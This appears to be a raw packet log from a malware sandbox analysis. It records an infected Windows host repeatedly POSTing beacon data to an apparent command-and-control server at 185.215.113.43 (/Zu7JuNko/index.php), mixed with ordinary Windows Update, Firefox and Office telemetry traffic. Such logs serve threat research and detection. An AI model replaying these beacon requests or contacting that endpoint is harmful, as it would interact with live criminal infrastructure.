Nov 23, 2024 18:29:21.631603003 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:29:31.829838037 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:29:42.135492086 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:29:52.336133003 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:30:02.532131910 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:30:12.725810051 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	50298	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:32.980043888 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:28:34.117333889 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 60255 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:28:44.120796919 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:28:54.622236967 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:29:01.429802895 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:29:01.759985924 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 60283 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:29:11.837203026 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:29:22.034661055 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:29:32.233769894 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:29:42.437316895 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:29:52.634447098 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:30:02.831897974 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:30:13.027584076 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	50299	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:33.178114891 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:34.562469959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50300	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:36.316417933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:37.765871048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50301	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:39.399698973 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:40.764647007 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50302	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:42.517698050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:43.854266882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50303	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:45.494995117 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:47.066361904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50304	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:48.817297935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:50.155236006 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	50305	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:51.795265913 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:53.186326981 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50306	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:54.927745104 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:56.411663055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50307	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:58.043061972 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:59.482630968 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50309	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:29:01.263237000 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:29:02.600466967 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50310	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:29:04.245193958 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:29:05.696315050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50311	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:29:07.446605921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:29:08.919845104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:21:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YetTvnzo787V92F&MD=hFYbta5p HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 17:21:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1609998d-dbb1-4e90-8b82-32fb8c80e283 MS-RequestId: 261e50e5-7285-4867-997b-fe6c1f3f79ca MS-CV: 9jXZN38RPkKAnU1U.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 17:21:27 GMT Connection: close Content-Length: 24490
2024-11-23 17:21:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 17:21:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:01 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:01 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:01 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: c1af2548-001e-00ad-39e4-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172201Z-178bfbc474bv7whqhC1NYC1fg400000004w0000000000zrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:01 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 17:22:01 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 17:22:02 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 17:22:02 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 17:22:02 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
